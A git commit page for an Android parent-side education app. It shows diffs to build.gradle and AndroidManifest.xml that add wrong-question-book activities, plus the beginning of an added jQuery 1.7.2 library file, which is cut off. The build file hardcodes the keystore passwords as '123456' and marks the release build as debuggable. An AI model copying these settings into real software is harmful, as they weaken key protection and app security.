Commit d3e82c2efdecf67ceffa02a34d48bb9f7b7e8104

Authored by zhanghaochen
1 parent e91fb2bcfd
Exists in master

家长端小新错题

Showing 172 changed files with 7888 additions and 52 deletions   Show diff stats

Too many changes.

To preserve performance only 100 of 172 files displayed.

1 apply plugin: 'com.android.application' 1 apply plugin: 'com.android.application'
2 apply from: '../config.gradle' 2 apply from: '../config.gradle'
3 3
4 4
5 def androidId = rootProject.ext.androidId 5 def androidId = rootProject.ext.androidId
6 def support = rootProject.ext.dependencies 6 def support = rootProject.ext.dependencies
7 def url = rootProject.ext.url 7 def url = rootProject.ext.url
8 8
9 9
10 android { 10 android {
11 signingConfigs { 11 signingConfigs {
12 12
13 config { 13 config {
14 keyAlias 'alias' 14 keyAlias 'alias'
15 keyPassword '123456' 15 keyPassword '123456'
16 storeFile file('key.jks') 16 storeFile file('key.jks')
17 storePassword '123456' 17 storePassword '123456'
18 } 18 }
19 debug { 19 debug {
20 } 20 }
21 } 21 }
22 compileSdk 32 22 compileSdk 32
23 23
24 defaultConfig { 24 defaultConfig {
25 applicationId "com.hjx.parent" 25 applicationId "com.hjx.parent"
26 minSdk 24 26 minSdk 24
27 targetSdk 32 27 targetSdk 32
28 versionCode 1001 28 versionCode 1001
29 versionName "1.0.0.1" 29 versionName "1.0.0.1"
30 30
31 testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" 31 testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
32 } 32 }
33 33
34 android.applicationVariants.all { 34 android.applicationVariants.all {
35 variant -> 35 variant ->
36 variant.outputs.all { 36 variant.outputs.all {
37 //在这里修改apk文件名 37 //在这里修改apk文件名
38 outputFileName = "parent-${variant.name}-v${variant.versionName}.apk" 38 outputFileName = "parent-${variant.name}-v${variant.versionName}.apk"
39 } 39 }
40 } 40 }
41 buildTypes { 41 buildTypes {
42 debug { 42 debug {
43 debuggable true 43 debuggable true
44 minifyEnabled false 44 minifyEnabled false
45 proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' 45 proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
46 signingConfig signingConfigs.config 46 signingConfig signingConfigs.config
47 } 47 }
48 release { 48 release {
49 debuggable true 49 debuggable true
50 minifyEnabled false 50 minifyEnabled false
51 proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' 51 proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
52 signingConfig signingConfigs.config 52 signingConfig signingConfigs.config
53 } 53 }
54 } 54 }
55 lintOptions { 55 lintOptions {
56 checkReleaseBuilds false 56 checkReleaseBuilds false
57 abortOnError false 57 abortOnError false
58 } 58 }
59 buildFeatures {
60 viewBinding true
61 }
59 compileOptions { 62 compileOptions {
60 sourceCompatibility JavaVersion.VERSION_1_8 63 sourceCompatibility JavaVersion.VERSION_1_8
61 targetCompatibility JavaVersion.VERSION_1_8 64 targetCompatibility JavaVersion.VERSION_1_8
62 } 65 }
63 } 66 }
64 67
65 dependencies { 68 dependencies {
66 support.each { k, v -> implementation v } 69 support.each { k, v -> implementation v }
67 api project(path: ':libs:common') 70 api project(path: ':libs:common')
68 implementation 'androidx.appcompat:appcompat:1.5.1' 71 implementation 'androidx.appcompat:appcompat:1.5.1'
69 implementation 'com.google.android.material:material:1.6.1' 72 implementation 'com.google.android.material:material:1.6.1'
70 implementation 'androidx.constraintlayout:constraintlayout:2.1.4' 73 implementation 'androidx.constraintlayout:constraintlayout:2.1.4'
71 implementation 'com.github.CymChad:BaseRecyclerViewAdapterHelper:2.9.50' 74 implementation 'com.github.CymChad:BaseRecyclerViewAdapterHelper:2.9.50'
75 implementation 'com.github.ForgetAll:LoadingDialog:1.1.2'
76 implementation 'com.github.DL-ZhangTeng:ImagePicker:1.5.0'
77 //使用的三方
78 implementation 'com.yalantis:ucrop:2.2.0'
79 implementation 'com.github.DL-ZhangTeng:RequestPermission:1.3.0'
80 implementation 'com.github.DL-ZhangTeng:Utils:2.2.0'
72 } 81 }
app/src/main/AndroidManifest.xml
1 <?xml version="1.0" encoding="utf-8"?> 1 <?xml version="1.0" encoding="utf-8"?>
2 <manifest xmlns:android="http://schemas.android.com/apk/res/android" 2 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
3 xmlns:tools="http://schemas.android.com/tools" 3 xmlns:tools="http://schemas.android.com/tools"
4 package="com.hjx.parent"> 4 package="com.hjx.parent">
5 5
6 6
7 <uses-permission android:name="android.permission.CHANGE_WIFI_MULTICAST_STATE" /> 7 <uses-permission android:name="android.permission.CHANGE_WIFI_MULTICAST_STATE" />
8 <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" /> <!-- 允许程序改变网络链接状态 --> 8 <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" /> <!-- 允许程序改变网络链接状态 -->
9 <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" /> <!-- 允许程序访问访问WIFI网络状态信息 --> 9 <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" /> <!-- 允许程序访问访问WIFI网络状态信息 -->
10 <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" /> <!-- 允许程序改变WIFI链接状态 --> 10 <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" /> <!-- 允许程序改变WIFI链接状态 -->
11 <!-- 6.0系统需要添加权限才能获得wifi列表 --> 11 <!-- 6.0系统需要添加权限才能获得wifi列表 -->
12 <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /> 12 <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
13 <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> 13 <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
14 <uses-permission android:name="android.permission.INTERNET" /> 14 <uses-permission android:name="android.permission.INTERNET" />
15 <uses-permission android:name="android.permission.RECORD_AUDIO" /> 15 <uses-permission android:name="android.permission.RECORD_AUDIO" />
16 <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> 16 <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
17 17
18 <uses-permission android:name="android.permission.DISABLE_KEYGUARD" /> 18 <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
19 <uses-permission android:name="android.permission.READ_PHONE_STATE" /> 19 <uses-permission android:name="android.permission.READ_PHONE_STATE" />
20 <uses-permission android:name="android.permission.WAKE_LOCK" /> 20 <uses-permission android:name="android.permission.WAKE_LOCK" />
21 <uses-permission android:name="android.permission.CAMERA" /> 21 <uses-permission android:name="android.permission.CAMERA" />
22 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> 22 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
23 <uses-permission android:name="android.permission.VIBRATE" /> 23 <uses-permission android:name="android.permission.VIBRATE" />
24 <uses-permission
25 android:name="android.permission.WRITE_EXTERNAL_STORAGE"
26 tools:ignore="ScopedStorage" />
24 27
25 <application 28 <application
26 android:name=".MyApplication" 29 android:name=".App"
27 android:allowBackup="true" 30 android:allowBackup="true"
28 android:icon="@mipmap/icon" 31 android:icon="@mipmap/icon"
29 android:label="@string/app_name" 32 android:label="@string/app_name"
30 android:networkSecurityConfig="@xml/network_security_config" 33 android:networkSecurityConfig="@xml/network_security_config"
31 android:supportsRtl="true" 34 android:supportsRtl="true"
32 android:theme="@style/Theme.Parent"> 35 android:theme="@style/Theme.Parent">
33 <activity 36 <activity
34 android:name=".LoginActivity" 37 android:name=".LoginActivity"
35 android:exported="true" 38 android:exported="true"
36 android:theme="@style/ThemeSplash"> 39 android:theme="@style/ThemeSplash">
37 <intent-filter> 40 <intent-filter>
38 <action android:name="android.intent.action.MAIN" /> 41 <action android:name="android.intent.action.MAIN" />
39 <category android:name="android.intent.category.LAUNCHER" /> 42 <category android:name="android.intent.category.LAUNCHER" />
40 </intent-filter> 43 </intent-filter>
41 </activity> 44 </activity>
42 <activity 45 <activity
43 android:name=".MainActivity" 46 android:name=".MainActivity"
44 android:launchMode="singleTask" 47 android:launchMode="singleTask"
45 android:theme="@style/Theme.AppCompat.NoActionBar" /> 48 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
46 <activity 49 <activity
47 android:name=".RegisterActivity" 50 android:name=".RegisterActivity"
48 android:theme="@style/ThemeSplash" /> 51 android:theme="@style/ThemeSplash" />
49 <activity 52 <activity
50 android:name=".UserActivity" 53 android:name=".UserActivity"
51 android:theme="@style/Theme.AppCompat.NoActionBar" /> 54 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
52 <activity 55 <activity
53 android:name=".YinsiActivity" 56 android:name=".YinsiActivity"
54 android:theme="@style/Theme.AppCompat.NoActionBar" /> 57 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
55 <activity 58 <activity
56 android:name=".QRActivity" 59 android:name=".QRActivity"
57 android:theme="@style/Theme.AppCompat.NoActionBar" /> 60 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
58 <activity 61 <activity
59 android:name=".AddStudentActivity" 62 android:name=".AddStudentActivity"
60 android:theme="@style/Theme.AppCompat.NoActionBar" /> 63 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
61 <activity 64 <activity
62 android:name=".NickActivity" 65 android:name=".NickActivity"
63 android:theme="@style/Theme.AppCompat.NoActionBar" /> 66 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
64 <activity 67 <activity
65 android:name=".SexActivity" 68 android:name=".SexActivity"
66 android:theme="@style/Theme.AppCompat.NoActionBar" /> 69 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
67 <activity 70 <activity
68 android:name=".NianActivity" 71 android:name=".NianActivity"
69 android:theme="@style/Theme.AppCompat.NoActionBar" /> 72 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
70 <activity 73 <activity
71 android:name=".ShenActivity" 74 android:name=".ShenActivity"
72 android:theme="@style/Theme.AppCompat.NoActionBar" /> 75 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
73 <activity 76 <activity
74 android:name=".UserAgreementActivity" 77 android:name=".UserAgreementActivity"
75 android:theme="@style/Theme.AppCompat.NoActionBar" /> 78 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
76 <activity 79 <activity
77 android:name=".AccountActivity" 80 android:name=".AccountActivity"
78 android:theme="@style/Theme.AppCompat.NoActionBar" /> 81 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
79 82
80 <activity 83 <activity
81 android:name=".ChangePwdActivity" 84 android:name=".ChangePwdActivity"
82 android:theme="@style/Theme.AppCompat.NoActionBar" /> 85 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
83 <activity 86 <activity
84 android:name=".EditStudentActivity" 87 android:name=".EditStudentActivity"
85 android:theme="@style/Theme.AppCompat.NoActionBar" /> 88 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
86 <activity 89 <activity
87 android:name=".ChooseActivity" 90 android:name=".ChooseActivity"
88 android:theme="@style/Theme.AppCompat.NoActionBar" /> 91 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
89 <activity 92 <activity
90 android:name=".AddTeacherActivity" 93 android:name=".AddTeacherActivity"
91 android:theme="@style/Theme.AppCompat.NoActionBar" /> 94 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
95 <activity
96 android:name=".ErrorBookActivity"
97 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
98 <activity
99 android:name=".ImageActivity"
100 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
101 <activity
102 android:name=".ImageEditActivity"
103 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
104 <activity
105 android:name=".ImageSelectActivity"
106 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
107 <activity
108 android:name=".AddSuccessActivity"
109 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
110 <activity
111 android:name=".ErrorListActivity"
112 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
113 <activity
114 android:name=".ErrorDetailActivity"
115 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
92 116
93 <provider 117 <provider
94 android:name="androidx.core.content.FileProvider" 118 android:name="androidx.core.content.FileProvider"
95 android:authorities="com.hjx.parent.fileprovider" 119 android:authorities="com.hjx.parent.fileprovider"
96 android:exported="false" 120 android:exported="false"
97 android:grantUriPermissions="true"> 121 android:grantUriPermissions="true"
122 tools:replace="android:authorities">
98 <meta-data 123 <meta-data
99 android:name="android.support.FILE_PROVIDER_PATHS" 124 android:name="android.support.FILE_PROVIDER_PATHS"
100 android:resource="@xml/file_provider_paths" 125 android:resource="@xml/file_provider_paths"
101 tools:replace="android:resource" /> 126 tools:replace="android:resource" />
102 </provider> 127 </provider>
103 </application> 128 </application>
104 129
105 </manifest> 130 </manifest>
app/src/main/assets/jquery.min.js
File was created 1 /*! jQuery v1.7.2 jquery.com | jquery.org/license */
2 (function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cu(a){if(!cj[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){ck||(ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.createElement)cl=(ck.contentWindow||ck.contentDocument).document,cl.write((f.support.boxModel?"<!doctype html>":"")+"<html><body>"),cl.close();d=cl.createElement(a),cl.body.appendChild(d),e=f.css(d,"display"),b.removeChild(ck)}cj[a]=e}return cj[a]}function ct(a,b){var c={};f.each(cp.concat.apply([],cp.slice(0,b)),function(){c[this]=a});return c}function cs(){cq=b}function cr(){setTimeout(cs,0);return cq=f.now()}function ci(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ch(){try{return new a.XMLHttpRequest}catch(b){}}function cb(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g<i;g++){if(g===1)for(h in a.converters)typeof h=="string"&&(e[h.toLowerCase()]=a.converters[h]);l=k,k=d[g];if(k==="*")k=l;else if(l!=="*"&&l!==k){m=l+" "+k,n=e[m]||e["* "+k];if(!n){p=b;for(o in e){j=o.split(" ");if(j[0]===l||j[0]==="*"){p=e[j[1]+" "+k];if(p){o=e[o],o===!0?n=p:p===!0&&(n=o);break}}}}!n&&!p&&f.error("No conversion from "+m.replace(" "," to ")),n!==!0&&(c=n?n(c):p(o(c)))}}return c}function ca(a,c,d){var e=a.contents,f=a.dataTypes,g=a.responseFields,h,i,j,k;for(i in g)i in d&&(c[g[i]]=d[i]);while(f[0]==="*")f.shift(),h===b&&(h=a.mimeType||c.getResponseHeader("content-type"));if(h)for(i in e)if(e[i]&&e[i].test(h)){f.unshift(i);break}if(f[0]in d)j=f[0];else{for(i in d){if(!f[0]||a.converters[i+" "+f[0]]){j=i;break}k||(k=i)}j=j||k}if(j){j!==f[0]&&f.unshift(j);return d[j]}}function b_(a,b,c,d){if(f.isArray(b))f.each(b,function(b,e){c||bD.test(a)?d(a,e):b_(a+"["+(typeof e=="object"?b:"")+"]",e,c,d)});else if(!c&&f.type(b)==="object")for(var e in b)b_(a+"["+e+"]",b[e],c,d);else d(a,b)}function b$(a,c){var d,e,g=f.ajaxSettings.flatOptions||{};for(d in c)c[d]!==b&&((g[d]?a:e||(e={}))[d]=c[d]);e&&f.extend(!0,a,e)}function bZ(a,c,d,e,f,g){f=f||c.dataTypes[0],g=g||{},g[f]=!0;var h=a[f],i=0,j=h?h.length:0,k=a===bS,l;for(;i<j&&(k||!l);i++)l=h[i](c,d,e),typeof l=="string"&&(!k||g[l]?l=b:(c.dataTypes.unshift(l),l=bZ(a,c,d,e,l,g)));(k||!l)&&!g["*"]&&(l=bZ(a,c,d,e,"*",g));return l}function bY(a){return function(b,c){typeof b!="string"&&(c=b,b="*");if(f.isFunction(c)){var d=b.toLowerCase().split(bO),e=0,g=d.length,h,i,j;for(;e<g;e++)h=d[e],j=/^\+/.test(h),j&&(h=h.substr(1)||"*"),i=a[h]=a[h]||[],i[j?"unshift":"push"](c)}}}function bB(a,b,c){var d=b==="width"?a.offsetWidth:a.offsetHeight,e=b==="width"?1:0,g=4;if(d>0){if(c!=="border")for(;e<g;e+=2)c||(d-=parseFloat(f.css(a,"padding"+bx[e]))||0),c==="margin"?d+=parseFloat(f.css(a,c+bx[e]))||0:d-=parseFloat(f.css(a,"border"+bx[e]+"Width"))||0;return d+"px"}d=by(a,b);if(d<0||d==null)d=a.style[b];if(bt.test(d))return d;d=parseFloat(d)||0;if(c)for(;e<g;e+=2)d+=parseFloat(f.css(a,"padding"+bx[e]))||0,c!=="padding"&&(d+=parseFloat(f.css(a,"border"+bx[e]+"Width"))||0),c==="margin"&&(d+=parseFloat(f.css(a,c+bx[e]))||0);return d+"px"}function bo(a){var b=c.createElement("div");bh.appendChild(b),b.innerHTML=a.outerHTML;return b.firstChild}function bn(a){var b=(a.nodeName||"").toLowerCase();b==="input"?bm(a):b!=="script"&&typeof a.getElementsByTagName!="undefined"&&f.grep(a.getElementsByTagName("input"),bm)}function bm(a){if(a.type==="checkbox"||a.type==="radio")a.defaultChecked=a.checked}function bl(a){return typeof a.getElementsByTagName!="undefined"?a.getElementsByTagName("*"):typeof a.querySelectorAll!="undefined"?a.querySelectorAll("*"):[]}function bk(a,b){var c;b.nodeType===1&&(b.clearAttributes&&b.clearAttributes(),b.mergeAttributes&&b.mergeAttributes(a),c=b.nodeName.toLowerCase(),c==="object"?b.outerHTML=a.outerHTML:c!=="input"||a.type!=="checkbox"&&a.type!=="radio"?c==="option"?b.selected=a.defaultSelected:c==="input"||c==="textarea"?b.defaultValue=a.defaultValue:c==="script"&&b.text!==a.text&&(b.text=a.text):(a.checked&&(b.defaultChecked=b.checked=a.checked),b.value!==a.value&&(b.value=a.value)),b.removeAttribute(f.expando),b.removeAttribute("_submit_attached"),b.removeAttribute("_change_attached"))}function bj(a,b){if(b.nodeType===1&&!!f.hasData(a)){var c,d,e,g=f._data(a),h=f._data(b,g),i=g.events;if(i){delete h.handle,h.events={};for(c in i)for(d=0,e=i[c].length;d<e;d++)f.event.add(b,c,i[c][d])}h.data&&(h.data=f.extend({},h.data))}}function bi(a,b){return f.nodeName(a,"table")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function U(a){var b=V.split("|"),c=a.createDocumentFragment();if(c.createElement)while(b.length)c.createElement(b.pop());return c}function T(a,b,c){b=b||0;if(f.isFunction(b))return f.grep(a,function(a,d){var e=!!b.call(a,d,a);return e===c});if(b.nodeType)return f.grep(a,function(a,d){return a===b===c});if(typeof b=="string"){var d=f.grep(a,function(a){return a.nodeType===1});if(O.test(b))return f.filter(b,d,!c);b=f.filter(b,d)}return f.grep(a,function(a,d){return f.inArray(a,b)>=0===c})}function S(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function K(){return!0}function J(){return!1}function n(a,b,c){var d=b+"defer",e=b+"queue",g=b+"mark",h=f._data(a,d);h&&(c==="queue"||!f._data(a,e))&&(c==="mark"||!f._data(a,g))&&setTimeout(function(){!f._data(a,e)&&!f._data(a,g)&&(f.removeData(a,d,!0),h.fire())},0)}function m(a){for(var b in a){if(b==="data"&&f.isEmptyObject(a[b]))continue;if(b!=="toJSON")return!1}return!0}function l(a,c,d){if(d===b&&a.nodeType===1){var e="data-"+c.replace(k,"-$1").toLowerCase();d=a.getAttribute(e);if(typeof d=="string"){try{d=d==="true"?!0:d==="false"?!1:d==="null"?null:f.isNumeric(d)?+d:j.test(d)?f.parseJSON(d):d}catch(g){}f.data(a,c,d)}else d=b}return d}function h(a){var b=g[a]={},c,d;a=a.split(/\s+/);for(c=0,d=a.length;c<d;c++)b[a[c]]=!0;return b}var c=a.document,d=a.navigator,e=a.location,f=function(){function J(){if(!e.isReady){try{c.documentElement.doScroll("left")}catch(a){setTimeout(J,1);return}e.ready()}}var e=function(a,b){return new e.fn.init(a,b,h)},f=a.jQuery,g=a.$,h,i=/^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,j=/\S/,k=/^\s+/,l=/\s+$/,m=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,n=/^[\],:{}\s]*$/,o=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,p=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,q=/(?:^|:|,)(?:\s*\[)+/g,r=/(webkit)[ \/]([\w.]+)/,s=/(opera)(?:.*version)?[ \/]([\w.]+)/,t=/(msie) ([\w.]+)/,u=/(mozilla)(?:.*? rv:([\w.]+))?/,v=/-([a-z]|[0-9])/ig,w=/^-ms-/,x=function(a,b){return(b+"").toUpperCase()},y=d.userAgent,z,A,B,C=Object.prototype.toString,D=Object.prototype.hasOwnProperty,E=Array.prototype.push,F=Array.prototype.slice,G=String.prototype.trim,H=Array.prototype.indexOf,I={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a==="body"&&!d&&c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a=="string"){a.charAt(0)!=="<"||a.charAt(a.length-1)!==">"||a.length<3?g=i.exec(a):g=[null,a,null];if(g&&(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=m.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h&&h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:"",jquery:"1.7.2",length:0,size:function(){return this.length},toArray:function(){return F.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?E.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b==="find"?d.selector=this.selector+(this.selector?" ":"")+c:b&&(d.selector=this.selector+"."+b+"("+c+")");return d},each:function(a,b){return e.each(this,a,b)},ready:function(a){e.bindReady(),A.add(a);return this},eq:function(a){a=+a;return a===-1?this.slice(a):this.slice(a,a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(F.apply(this,arguments),"slice",F.call(arguments).join(","))},map:function(a){return this.pushStack(e.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:E,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i=="boolean"&&(l=i,i=arguments[1]||{},j=2),typeof i!="object"&&!e.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j<k;j++)if((a=arguments[j])!=null)for(c in a){d=i[c],f=a[c];if(i===f)continue;l&&f&&(e.isPlainObject(f)||(g=e.isArray(f)))?(g?(g=!1,h=d&&e.isArray(d)?d:[]):h=d&&e.isPlainObject(d)?d:{},i[c]=e.extend(l,h,f)):f!==b&&(i[c]=f)}return i},e.extend({noConflict:function(b){a.$===e&&(a.$=g),b&&a.jQuery===e&&(a.jQuery=f);return e},isReady:!1,readyWait:1,holdReady:function(a){a?e.readyWait++:e.ready(!0)},ready:function(a){if(a===!0&&!--e.readyWait||a!==!0&&!e.isReady){if(!c.body)return setTimeout(e.ready,1);e.isReady=!0;if(a!==!0&&--e.readyWait>0)return;A.fireWith(c,[e]),e.fn.trigger&&e(c).trigger("ready").off("ready")}},bindReady:function(){if(!A){A=e.Callbacks("once memory");if(c.readyState==="complete")return setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener("DOMContentLoaded",B,!1),a.addEventListener("load",e.ready,!1);else if(c.attachEvent){c.attachEvent("onreadystatechange",B),a.attachEvent("onload",e.ready);var b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll&&b&&J()}}},isFunction:function(a){return e.type(a)==="function"},isArray:Array.isArray||function(a){return e.type(a)==="array"},isWindow:function(a){return a!=null&&a==a.window},isNumeric:function(a){return!isNaN(parseFloat(a))&&isFinite(a)},type:function(a){return a==null?String(a):I[C.call(a)]||"object"},isPlainObject:function(a){if(!a||e.type(a)!=="object"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor&&!D.call(a,"constructor")&&!D.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}var d;for(d in a);return d===b||D.call(a,d)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw new Error(a)},parseJSON:function(b){if(typeof b!="string"||!b)return null;b=e.trim(b);if(a.JSON&&a.JSON.parse)return a.JSON.parse(b);if(n.test(b.replace(o,"@").replace(p,"]").replace(q,"")))return(new Function("return "+b))();e.error("Invalid JSON: "+b)},parseXML:function(c){if(typeof c!="string"||!c)return null;var d,f;try{a.DOMParser?(f=new DOMParser,d=f.parseFromString(c,"text/xml")):(d=new ActiveXObject("Microsoft.XMLDOM"),d.async="false",d.loadXML(c))}catch(g){d=b}(!d||!d.documentElement||d.getElementsByTagName("parsererror").length)&&e.error("Invalid XML: "+c);return d},noop:function(){},globalEval:function(b){b&&j.test(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(w,"ms-").replace(v,x)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g<h;)if(c.apply(a[g++],d)===!1)break}else if(i){for(f in a)if(c.call(a[f],f,a[f])===!1)break}else for(;g<h;)if(c.call(a[g],g,a[g++])===!1)break;return a},trim:G?function(a){return a==null?"":G.call(a)}:function(a){return a==null?"":(a+"").replace(k,"").replace(l,"")},makeArray:function(a,b){var c=b||[];if(a!=null){var d=e.type(a);a.length==null||d==="string"||d==="function"||d==="regexp"||e.isWindow(a)?E.call(c,a):e.merge(c,a)}return c},inArray:function(a,b,c){var d;if(b){if(H)return H.call(b,a,c);d=b.length,c=c?c<0?Math.max(0,d+c):c:0;for(;c<d;c++)if(c in b&&b[c]===a)return c}return-1},merge:function(a,c){var d=a.length,e=0;if(typeof c.length=="number")for(var f=c.length;e<f;e++)a[d++]=c[e];else while(c[e]!==b)a[d++]=c[e++];a.length=d;return a},grep:function(a,b,c){var d=[],e;c=!!c;for(var f=0,g=a.length;f<g;f++)e=!!b(a[f],f),c!==e&&d.push(a[f]);return d},map:function(a,c,d){var f,g,h=[],i=0,j=a.length,k=a instanceof e||j!==b&&typeof j=="number"&&(j>0&&a[0]&&a[j-1]||j===0||e.isArray(a));if(k)for(;i<j;i++)f=c(a[i],i,d),f!=null&&(h[h.length]=f);else for(g in a)f=c(a[g],g,d),f!=null&&(h[h.length]=f);return h.concat.apply([],h)},guid:1,proxy:function(a,c){if(typeof c=="string"){var d=a[c];c=a,a=d}if(!e.isFunction(a))return b;var f=F.call(arguments,2),g=function(){return a.apply(c,f.concat(F.call(arguments)))};g.guid=a.guid=a.guid||g.guid||e.guid++;return g},access:function(a,c,d,f,g,h,i){var j,k=d==null,l=0,m=a.length;if(d&&typeof d=="object"){for(l in d)e.access(a,c,l,d[l],1,h,f);g=1}else if(f!==b){j=i===b&&e.isFunction(f),k&&(j?(j=c,c=function(a,b,c){return j.call(e(a),c)}):(c.call(a,f),c=null));if(c)for(;l<m;l++)c(a[l],d,j?f.call(a[l],l,c(a[l],d)):f,i);g=1}return g?a:k?c.call(a):m?c(a[0],d):h},now:function(){return(new Date).getTime()},uaMatch:function(a){a=a.toLowerCase();var b=r.exec(a)||s.exec(a)||t.exec(a)||a.indexOf("compatible")<0&&u.exec(a)||[];return{browser:b[1]||"",version:b[2]||"0"}},sub:function(){function a(b,c){return new a.fn.init(b,c)}e.extend(!0,a,this),a.superclass=this,a.fn=a.prototype=this(),a.fn.constructor=a,a.sub=this.sub,a.fn.init=function(d,f){f&&f instanceof e&&!(f instanceof a)&&(f=a(f));return e.fn.init.call(this,d,f,b)},a.fn.init.prototype=a.fn;var b=a(c);return a},browser:{}}),e.each("Boolean Number String Function Array Date RegExp Object".split(" "),function(a,b){I["[object "+b+"]"]=b.toLowerCase()}),z=e.uaMatch(y),z.browser&&(e.browser[z.browser]=!0,e.browser.version=z.version),e.browser.webkit&&(e.browser.safari=!0),j.test(" ")&&(k=/^[\s\xA0]+/,l=/[\s\xA0]+$/),h=e(c),c.addEventListener?B=function(){c.removeEventListener("DOMContentLoaded",B,!1),e.ready()}:c.attachEvent&&(B=function(){c.readyState==="complete"&&(c.detachEvent("onreadystatechange",B),e.ready())});return e}(),g={};f.Callbacks=function(a){a=a?g[a]||h(a):{};var c=[],d=[],e,i,j,k,l,m,n=function(b){var 